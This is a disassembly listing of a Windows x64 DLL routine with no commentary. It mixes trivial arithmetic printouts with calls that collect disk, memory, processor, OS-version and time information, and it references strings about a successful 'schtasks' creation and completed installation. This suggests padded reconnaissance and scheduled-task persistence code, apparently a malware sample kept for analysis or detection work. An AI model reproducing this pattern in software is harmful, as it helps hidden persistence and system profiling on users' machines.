lea rcx, str.Product_of__.2f_and__.2f_is__.2f_n
call fcn.1800017e0
mov edx, 0x20
lea rcx, str._c_is_a_whitespace_character._n
call fcn.1800017e0
jmp 0x18000f405
lea rdx, str.create__s_schtasks_succeeded._r_n
call fcn.180010320
mov rbx, rax
lea rcx, [rbp + 0x210]
call fcn.180010280
mov rdx, rax
mov rcx, rbx
call fcn.180003270
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x110]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [0x180062260]
test eax, eax
je 0x18000f3c9
mov rdi, qword [rsp + 0x38]
shr rdi, 0x1e
mov rbx, qword [rsp + 0x30]
shr rbx, 0x1e
lea rdx, str.Disk_Usage:
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Free
jmp 0x18000f3d0
lea rdx, str.Failed_to_get_disk_usage_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0x7e4
lea rcx, str._d_is_a_leap_year._n
call fcn.1800017e0
mov edx, 6
mov r8d, 0x2d0
lea rcx, str.Factorial_of__d_is__d_n
call fcn.1800017e0
xor ecx, ecx
call fcn.1800230fc
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x38]
call fcn.180023458
mov r9, rax
lea r8, str._Y__m__d__H:_M:_S
mov edx, 0x14
lea rcx, [rbp + 0x950]
call fcn.1800204c4
lea rdx, str.Current_Time_2:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp + 0x950]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
xorps xmm0, xmm0
cvtsd2ss xmm0, xmm10
cvtps2pd xmm2, xmm0
movq r8, xmm2
mov edx, 9
lea rcx, str.Square_root_of__d_is__.2f_n
call fcn.1800017e0
mov edx, 0xf
mov r9d, 0x14
mov r8d, r9d
lea rcx, str.The_maximum_number_between__d_and__d_is__d_n
call fcn.1800017e0
lea rdx, str.Installation_completed._r_n
lea rcx, [rsp + 0x50]
call fcn.180010320
mov rcx, rax
call fcn.180003270
mov edx, 0x35
lea rcx, str._c_is_a_digit._n
call fcn.1800017e0
mov edx, 0x2c
lea rcx, str._c_is_a_punctuation_mark._n
call fcn.1800017e0
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, str.Current_Time_1:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x38]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x36]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x34]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
mov edx, 7
lea rcx, str._d_is_odd_n
call fcn.1800017e0
mov edx, 5
lea r9d, [rdx + 3]
lea r8d, [rdx - 2]
lea rcx, str.Sum_of__d_and__d_is__d_n
call fcn.1800017e0
mov edx, 0x35
lea rcx, str._c_is_a_digit._n
call fcn.1800017e0
call fcn.180001420
mov dword [rsp + 0x50], 0x40
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
lea rcx, [0x180062260]
test eax, eax
je 0x18000f5ea
mov rdi, qword [rsp + 0x60]
shr rdi, 0x14
mov rbx, qword [rsp + 0x58]
shr rbx, 0x14
lea rdx, str.Memory_Usage:
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._MB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
mov rcx, rax
lea rdx, str._MB_Available
jmp 0x18000f5f1
lea rdx, str.Failed_to_get_memory_usage_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, str.Processor_Architecture:
lea rcx, [0x180062260]
call fcn.1800128c0
movzx ecx, word [rsp + 0x50]
test ecx, ecx
je 0x18000f65f
sub ecx, 5
je 0x18000f656
sub ecx, 1
je 0x18000f64d
cmp ecx, 3
lea rcx, [0x180062260]
je 0x18000f644
lea rdx, str.Unknown
jmp 0x18000f66d
lea rdx, str.AMD64
jmp 0x18000f66d
lea rdx, str.IA64
jmp 0x18000f666
lea rdx, [0x18005507c]
jmp 0x18000f666
lea rdx, [0x180055088]
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Number_of_Processors:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rsp + 0x70]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Type:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rsp + 0x74]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Level:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rsp + 0x7c]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Revision:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rsp + 0x7e]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
mov edx, 4
lea r8d, [rdx + 0xc]
lea rcx, str.Square_of__d_is__d_n
call fcn.1800017e0
lea rcx, [rbp + 0x950]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, str.Current_Time_2:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x950]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce8]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x952]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce8]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x956]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce4]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x958]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95a]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95c]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
mov edx, 7
lea rcx, str._d_is_odd_n
call fcn.1800017e0
nop dword [rax + rax]
mov eax, 0x11
cdq
idiv r12d
test edx, edx
je 0x18000f82f
inc r12d
cmp r12d, 8
jle 0x18000f810
lea rcx, str._d_is_a_prime_number._n
jmp 0x18000f836
lea rcx, str._d_is_not_a_prime_number._n
mov edx, 0x11
call fcn.1800017e0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x2b4]
call fcn.18001d1b0
mov dword [rbp + 0x2b0], 0x114
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
lea rcx, [0x180062260]
test eax, eax
je 0x18000f8d6
lea rdx, str.Operating_System_Version:
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2b4]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055154]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2b8]
call fcn.18000fdf0
mov rcx, rax
lea rdx, str.__Build
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2bc]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055144]
jmp 0x18000f8dd
lea rdx, str.Failed_to_get_operating_system_version_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
nop
lea rcx, [rbp + 0x190]
call fcn.1800015f0
nop
lea rcx, [rbp + 0x118]
call fcn.1800015f0
nop
lea rcx, [rbp + 0x138]
call fcn.18000fa20
nop
lea rcx, [rbp + 0x150]
call fcn.1800015f0
nop
lea rcx, [rbp + 0x250]
call fcn.1800015f0
nop
lea rcx, [rbp + 0x270]
call fcn.1800015f0
nop
lea rcx, [rbp + 0x290]
call fcn.1800015f0
nop
lea rcx, [rbp + 0x210]
call fcn.1800015f0
nop
lea rcx, [rbp + 0x1b0]
call fcn.1800015f0
nop
lea rcx, [rbp + 0x230]
call fcn.1800015f0
nop
lea rcx, [rbp + 0x1d0]
call fcn.1800015f0
nop
lea rcx, [rbp + 0x170]
call fcn.1800015f0
nop
lea rcx, [rbp + 0x1f0]
call fcn.1800015f0
mov rcx, qword [rbp + 0xa80]
xor rcx, rsp
call fcn.18001ae20
lea r11, [rsp + 0xbc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm10, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18001ff34
nop
call fcn.1800012a0
int3
call fcn.18001ff34
nop
call fcn.1800012a0
int3
call fcn.18001ff34
nop
call fcn.18001ff34
nop
call fcn.18001ff34
nop
call fcn.18001ff34
nop
call fcn.18001ff34
nop
call fcn.18001ff34
nop
call fcn.18001ff34
int3